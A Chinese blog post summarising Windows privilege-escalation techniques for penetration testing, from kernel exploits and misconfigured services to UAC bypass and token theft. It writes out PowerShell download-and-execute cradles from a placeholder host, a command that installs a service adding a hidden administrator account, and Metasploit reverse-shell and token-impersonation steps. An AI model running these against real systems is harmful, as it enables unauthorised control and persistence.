摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑

总结一下Windows提权的部分,以后有时间再补一下Linux提权

这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了......欢迎去各大社区学习大佬们的操作

关于第三方提权以后再说

0x00前言

常见的Windows权限有三种:user administrator system (当然还有其他的)

administrator管理员权限是比较高的,但是如果涉及到读取系统文件,还是要靠system权限

和web提权一样,Windows提权也可以分成横向提权和纵向提权,实际上那些可利用的方法默认都是纵向提权,即从低权限到高权限

Windows提权的分类方法呢,也是五花八门的

当然可以利用第三方漏洞进行提权,比如各种数据库提权,但我觉得这部分不好划分到Windows系统提权这边儿,有些乱,就分到数据库提权的专题了

那以后有机会整理下数据库提权的内容......

0x01 系统内核溢出漏洞提权

第一种要介绍的提权办法就是这个溢出漏洞提权,如果目标机器没有打相应的补丁,就可以利用(啊之所以把它放在第一个并不是说优先级最高,并不推荐优先考虑内核溢出漏洞)

首先要收集一下目标系统的信息

whoami /groups

如果像图中一样,看到是medium权限,就想想如何提升到high

执行命令,查看安装了哪些补丁,或者systeminfo

找到相应的提权漏洞,且没打过补丁,可以利用相应的exp就好了

找了几个Windows提权exp整理链接,是否可用需要大家自行测试判断,有更全的欢迎评论补充(话说我忘记我电脑里的exp都是哪里下载的。。。)

https://github.com/lyshark/Windows-exploits

https://github.com/klsfct/getshell

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/Ascotbe/Kernelhub

于是问题转变成了:怎么去根据缺少的补丁去找exp?或者说怎么去找缺失的补丁?

(1)msf

msf中存在post/windows/gather/enum_patches模块

最好是在meterpreter中run post/windows/gather/enum_patches  这个脚本

就能列出目标机器补丁及利用情况

当然,结果仅供参考

(2)wes

下载链接:https://github.com/bitsadmin/wesng

全名:Windows exploit suggester

一款很有名的,适用于Windows系统的工具,用于比较补丁存在情况,提供相关提权漏洞信息

但是这个玩意是个py,需要有py环境,不过这个不算啥问题

它需要把目标系统systeminfo的信息导入一个txt文件,再把这个txt文件拖回攻击者本机,在攻击者本机上执行相关脚本加以判断。所以我说需要py环境不算啥问题,谁机器上没有py啊

具体使用方法不说了网上找吧

(3)Sherlock.ps1脚本

下载链接:https://github.com/rasta-mouse/Sherlock

相关使用方法介绍:https://www.freebuf.com/sectool/131393.html

还有一些脚本工具对Windows支持不好或者一般比如vulmap、WindowsVulnScan什么的不说了

0x02 错误配置提权

1.系统服务权限配置错误

一般来说,Windows服务,以system权限运行的,其相关文件键值都是受到保护的,不能被修改的

但是,如果有些服务没有得到有效保护,就会出现低权限用户可以操作有关系统调用的可执行文件的这种状况,如果替换掉文件,新文件随系统自启动而被调用,从而获得系统权限

所以:如果相关服务未运行,就替换掉原来的服务,再重启服务;如果正在运行且无法中止,常采用DLL劫持并重启服务

(1)PowerUp脚本

下载链接: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

本地cmd运行方法  powershell -exec bypass -Command "& {import-module .\PowerUp.ps1;Invoke-Allchecks}"

列出所有可能存在问题的服务

或者远程   powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxx/xxxx/xxxxx/xxxxx/xxx/powerup.ps1'); Invoke-AllChecks"

当然,要把此脚本PowerUp.ps1搞到目标机器上哈

可执行类似如下的命令,写一个服务来添加用户

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1的绝对路径'); Install-ServiceBinary -ServerName 'WTF' -UserName LCX -Password NOWAY

(我在ServerName处写的WTF是因为要从之前一步执行脚本得到的结果中筛选一个有问题的服务名,而那个服务名就叫WTF或者叫别的什么东西,总之这两者要对应,不是随便写的)

对方一重启系统,我这个新的高权限用户LCX就会加进去

(2)msf   service_permissions

设置好SESSION和payload中的LHOST、LPORT

这个SESSION是meterpreter的session号的那个session不是别的什么session更不是乱写的,此模块想要成功需要借助已有的一个meterpreter会话

正常会反弹一个新的具有system权限的meterpreter的,我并没有成功(lll¬ω¬),貌似与原meterpreter的运行权限有关(决定是新建服务还是劫持服务),欢迎各位兄弟积极尝试

2.注册表键AlwaysInstallElevated

如果启用此策略设置项,任何权限用户都能以system权限安装恶意MSI文件(Microsoft Windows Installer,常见的以.msi为后缀的文件)

如果像我这样,在计算机配置和用户配置中都启用了这一项,就很麻烦了

相应的注册表键中AlwaysInstallElevated位置就会置1

还是可以使用PoweUp.ps1下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置

如果,返回为true,就说明存在我上面启用配置的情况,管理员不讲武德,希望你好自为之好好反思

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http:/xxxx/xxxxx/xxxx/xxxx/powerup.ps1'); Get-RegistryAlwaysInstallElevated

远程加载或者

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1本地绝对路径'); Get-RegistryAlwaysInstallElevated

把脚本传到目标机器上执行本地执行

可以利用msf

具体还是和上文一样,需要一个现成的meterpreter它的session参数,run一下提权

3.可信任的服务路径漏洞(TSP---trusted service path)

利用Windows文件路径解析特性,如果一个服务的可执行文件的路径没有被双引号引起来且包括空格,那么这个服务就是有漏洞的

如果路径与服务有关,则任意创建一个服务

如果路径与可执行文件有关,则任意创建一个可执行文件

由于Windows服务常常用系统权限运行的,但是如果路径中有空格,就会产生不一样的结果

例如"C:\Program Files\Microsoft Office\lcx.exe"

会依次判断C:\Program.exe

C:\Program Files\Microsoft.exe

C:\Program Files\Microsoft Office\lcx.exe

这条命令

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

查一下有哪些服务路径没有被引号引起来

嗯......顺便看一下路径里有没有空格

然后把想要利用system权限执行的应用程序重命名,比如我要执行hhh.exe,没用括号引起来的路径是C:\Program Files\Microsoft Office\......

我就把hhh.exe改成Microsoft.exe并扔到Program Files路径下(这里只是举个例子意思一下)

嗯,除了要找一个有空格,且必须可写的路径才可以利用啊,单单没引号有空格还不行,这个路径(文件夹)必须是可写的,所以这个方法要求很多,比较鸡肋

用这个系统命令icacls 查看选择的目标路径

everyone是说所有用户对此文件夹有完全控制的权限

(OI)(CI)(F)是指对此文件夹有读写删除其下文件、子目录的权限,可以说是非常齐全了,这种就是我们需要的目标

当然图我只是一个演示,这种条件苛刻的并不好找

之后执行sc stop 服务名

sc start 服务名

重启服务即可实现提权

实在鸡肋,加了引号就不能用了

4.自动安装配置文件

管理员给内网批量配置环境时,可能会使用脚本部署

如果安装配置文件包含管理员账号密码,就可以用管理员的权限操作

执行 dir /b /s c:\Unattend.xml  找应答文件

打开看看,有没有明文或者密文密码

同理再找找有没有sysprep.inf、sysprep.xml这种应答文件

kali上还有利用模块  post/windows/gather/enum_unattend   (我是没用过)

5.计划任务

schtasks /query /fo LIST /v

看一下计划任务

推荐工具 accessChk,用于Windows中系统查询管理

下载链接:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

如果攻击者对以高权限运行的任务所在的目录有写权限,可以使用恶意程序覆盖原程序  

查看指定目录权限配置

accesschk.exe -dqv "C:\Windows\SysWOW64\Macromed\Flash" -accepteula

RW为可读写,R只读,W可写

看一下当前用户对这个目标目录是不是有W权限,如果有可以篡改目录中的文件,让假文件随高权限的计划任务一起执行,实现权限提升

6.Empire内置模块

Empire中也有相关提权漏洞搜索应用的功能

usemodule privesc/powerup 查看powerup模块列表,里面有很多模块可以尝试,用于检查漏洞,执行脚本提权

额......测试效果一般

0x03 组策略首选项提权

域环境中的域主机太多了,多为批量部署。域管理员(比如我,我反思)常常会通过域控的组策略批量修改修改域主机的本地管理员密码(注意此处不是域管理员密码)

这就可能导致一个问题:所有受组策略影响,被批量修改密码的本地管理员账户,他们的密码是一样的

所有域策略放在域控的 C:\Windows\SYSVOL\DOMAIN\Policies中,去找吧

这个SYSVOL文件夹是域控自带的,用于存储登录脚本、组策略、域信息等

当管理员新建一个组策略的时候,会在SYSVOL中自动生成一个XML文件,并把该组策略更新后的组策略密码在XML文件中存了一份

这个密码是加密后存的,但是密钥已经公开了,相当于加密了个寂寞

xml文件中的cpassword项就是密码

这个方法很老了,成功率低,所以不再详细介绍了

感兴趣参考 https://www.cnblogs.com/Yang34/p/12492270.html

0x04 bypassUAC提权

在Windows中, 平时或多或少都会遇到UAC(user account control 用户账户控制)

类似这种东西

其确保了进行某些操作前,完成对用户身份的验证,避免恶意程序运行、安装、更改

UAC有四种设置要求:

始终通知--任何程序要使用最高权限的时候都通知本地用户

仅在程序试图更改我的计算机时通知我--UAC默认设置,除了本地Windows以外的程序要使用高权限时通知本地用户

仅在程序试图更改我的计算机时通知我(不降低桌面亮度)--同上

从不通知--用户为系统管理员时,所有程序都可以以最高权限运行

也可以在这里修改

如果对方机器开了UAC,那么我们的程序执行时就因为需要高权限确认但我们无法确认进而卡住,无法执行,还会暴露

怎么办

1.msf   bypassuac

当已经获得目标机器的一个meterpreter的shell时

getuid发现此shell权限是个普通用户权限,不够,getsystem也不行

可以把当前shell,background后台运行

选择合适的模块,设置set payload windows/meterpreter/reverse_tcp 和 挪到后台运行的老SESSION号......

利用参考这篇文章 https://www.freebuf.com/articles/system/185311.html

实际上效果一般,对方机器上的杀软不出意外的话会对此有所防护

有些模块有很多限制要求:比如必须在管理员组中、UAC为默认设置、对方系统要求等

2. msf RunAs

也是一个msf中的模块,局限性也比较大

思想和之前的msf那些模块一样

也是有要求的,要求当前用户在管理员组中,而且对方机器还是会弹出UAC的框要对方手动点

没什么鸟用

说句题外话,大佬的无弹窗渗透实验一波流操作:https://blog.csdn.net/niexinming/article/details/77807243

 3.其他模块,如

Nishang 中的Invoke-PsUACme模块

Empire中的bypassuac模块、bypassuac_wscript

请参考网上其他师傅们的文章

以上只是一些简单的直接应用的模块

实际上绕过UAC提权的按原理分类可以分为DLL劫持、COM接口等等等等,还有很多无窗口的操作

上述那些模块也是应用了这些原理

更多内容可以参考这两篇文章 

https://www.freebuf.com/vuls/183914.html

https://blog.csdn.net/weixin_30760895/article/details/98142206

具体效果有待测试

0x05 令牌窃取

令牌相当于另一种形式的账户和密码,具有难以破解的随机性,用于决定当前请求是否被许可及其用户归属问题

那我们可以通过窃取高权限用户的令牌获得高权限实现提权

1.msf 令牌窃取

正常获取meterpreter之后,有很多操作,详情请看https://www.cnblogs.com/lcxblogs/articles/14163368.html

上面那篇文章总结得很好,其中也有讲到关于msf中令牌窃取的操作

即use incognito

之后

list_tokens -u

可见目标机器中(特指在当前meterpreter获取到shell权限下看到的令牌,如果这个权限很低就看不到多少令牌,权限越高看到的令牌越多。当然域管理员如果没登录过

这台机器也是不会有其令牌的,想利用域管理员令牌前提是其登录过这台机器且没重启)能看到的、存在的令牌

可能会存在两种令牌:Delegations Tokens--授权令牌(可交互)

Impersonation Tokens--模拟令牌(非交互)

之后用impersonate_token 加 令牌名的形式窃取高权限令牌

(注意:令牌名中的是这种格式,主机名\\用户名,多了一个\不要漏掉)

2.烂土豆提权

即常见的rotten potato ,用于把本地用户权限提到本地高权限  下载链接  https://github.com/foxglovesec/RottenPotato

前面步骤和上一小点一样use incognito然后list_tokens -u找令牌

之后把此exe文件上传到目标机器里,执行

execute -cH -f ./rottenpotato.exe

最后用impersonate_token 加 令牌名的形式窃取高权限令牌

(注意:令牌名中的是这种格式,主机名\\用户名,多了一个\不要漏掉)

原理请参考:http://hackergu.com/powerup-stealtoken-rottenpotato/

除了msf,Empire也有steal_token功能用于令牌窃取,这个看以后如果说到Empire再说吧

后篇Linux提权指路链接 https://www.cnblogs.com/lcxblogs/p/13983754.html

部分内容与行文结构参考ms08067实验室《内网安全攻防》一书

随便转载,请标明作者出处

Windows提权小结的更多相关文章

  1. 2017-2018-2 20155315《网络对抗技术》免考五:Windows提权

    原理 使用metasploit使目标机成功回连之后,要进一步攻击就需要提升操作权限.对于版本较低的Windows系统,在回连的时候使用getsystem提权是可以成功的,但是对于更高的系统操作就会被拒 ...

  2. 35.windows提权总结

    本文参考自冷逸大佬的博客,源地址在这里:https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/ windows提 ...

  3. 「白帽黑客成长记」Windows提权基本原理(下)

    上一篇文章我们介绍了信息收集方法和WMIC,今天我们将跟随作者深入学习Windows提权基本原理的内容,希望通过这两篇文章的讲解,大家能够真正掌握这个技能. 推荐阅读:「白帽黑客成长记」Windows ...

  4. 「白帽黑客成长记」Windows提权基本原理(上)

    我们通常认为配置得当的Windows是安全的,事实真的是这样吗?今天让我们跟随本文作者一起深入了解Windows操作系统的黑暗角落,看看是否能得到SYSTEM权限. 作者将使用不同版本的Windows ...

  5. [转帖]「白帽黑客成长记」Windows提权基本原理(下)

    「白帽黑客成长记」Windows提权基本原理(下) https://www.cnblogs.com/ichunqiu/p/10968674.html 提权.. 之前还在想 为什么 我的 sqlserv ...

  6. [转帖]「白帽黑客成长记」Windows提权基本原理(上)

    「白帽黑客成长记」Windows提权基本原理(上) https://www.cnblogs.com/ichunqiu/p/10949592.html 我们通常认为配置得当的Windows是安全的,事实 ...

  7. windows提权操作以及系统开机关机重启代码(用到了LookupPrivilegeValue和AdjustTokenPrivileges调整进程的Token权限)

    对于UAC提权操作,一般在编译期间,如果程序有需求要提权,会在编译器里设置,vs2010比较简单,在工程属性里可以直接设置,vs2005稍微有点儿麻烦,参考这篇文章: http://www.seany ...

  8. Windows提权与开启远程连接

    1.提权: 建立普通用户:net user 帐户 密码 /add 提权成管理员:net localgroup administrators 帐户 /add 更改用户密码:net user 帐户 密码 ...

  9. windows提权的几种姿势

    想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输.但是你不是,对吗?你是一个勇者! ...

随机推荐

  1. springboot项目启动,停止,重启

    参考博客 https://www.cnblogs.com/c-h-y/p/10460061.html 打包插件,可以指定启动类 <build> <plugins> <pl ...

  2. awk中printf的用法

    printf函数   打印输出时,可能需要指定字段间的空格数,从而把列排整齐.在print函数中使用制表符并不能保证得到想要的输出,因此,可以用printf函数来格式化特别的输出. printf函数返 ...

  3. NodeJS 进程是如何退出的

    有几种因素可以导致 NodeJS 进程退出.在这些因素中,有些是可预防的,比如代码抛出了一个异常:有些是不可预防的,比如内存耗尽.process 这个全局变量是一个 Event Emitter 实例, ...

  4. python django与celery的集成

    一.celery与django 关于celery介绍和使用可以查看上篇Python中任务队列-芹菜celery的使用 关于django的介绍和使用可查看python django框架+vue.js前后 ...

  5. python 图中找目标并截图

    import numpy as npdef sjjt(xha,sjh,beitu,jl,xx,yy): #检查目标,并将目标指定范围内截图 pull_screenshot(xha,sjh,xx) #p ...

  6. IDEA工具-自动导包去除星号(import xx.xx.*)

    打开设置>Editor>Code Style>Java>Scheme Default>Imports 设置导入类数值阈值,默认同包类是超过5个变成*,静态导入超过3个变成 ...

  7. 浅析vue-cli脚手架命令的执行过程

    上一篇文章,已经大致了解脚手架是什么以及脚手架是如何工作的.接下来,稍微深入一下脚手架的工作过程(以vue-cli为例).首先抛出3个问题: 1.明明全局安装的是@vue/cli,最后执行的命令却是v ...

  8. 【动画消消乐】HTML+CSS 自定义加载动画 064(currentColor的妙用!)

    前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 自我介绍ଘ(੭ˊᵕˋ)੭ 昵称:海轰 标签:程序猿|C++选手|学生 简介:因C语言结识编程,随后转入计算机专 ...

  9. debian 9 调节亮度

    CONTROL_BRIGHTNESS=1 BATT_BRIGHTNESS_COMMAND="echo 13" LM_AC_BRIGHTNESS_COMMAND="echo ...

  10. 【模拟】选数 luogu-1037

    AC代码 #include <bits/stdc++.h> using namespace std; #define ms(a,b) memset(a,b,sizeof(a)) typed ...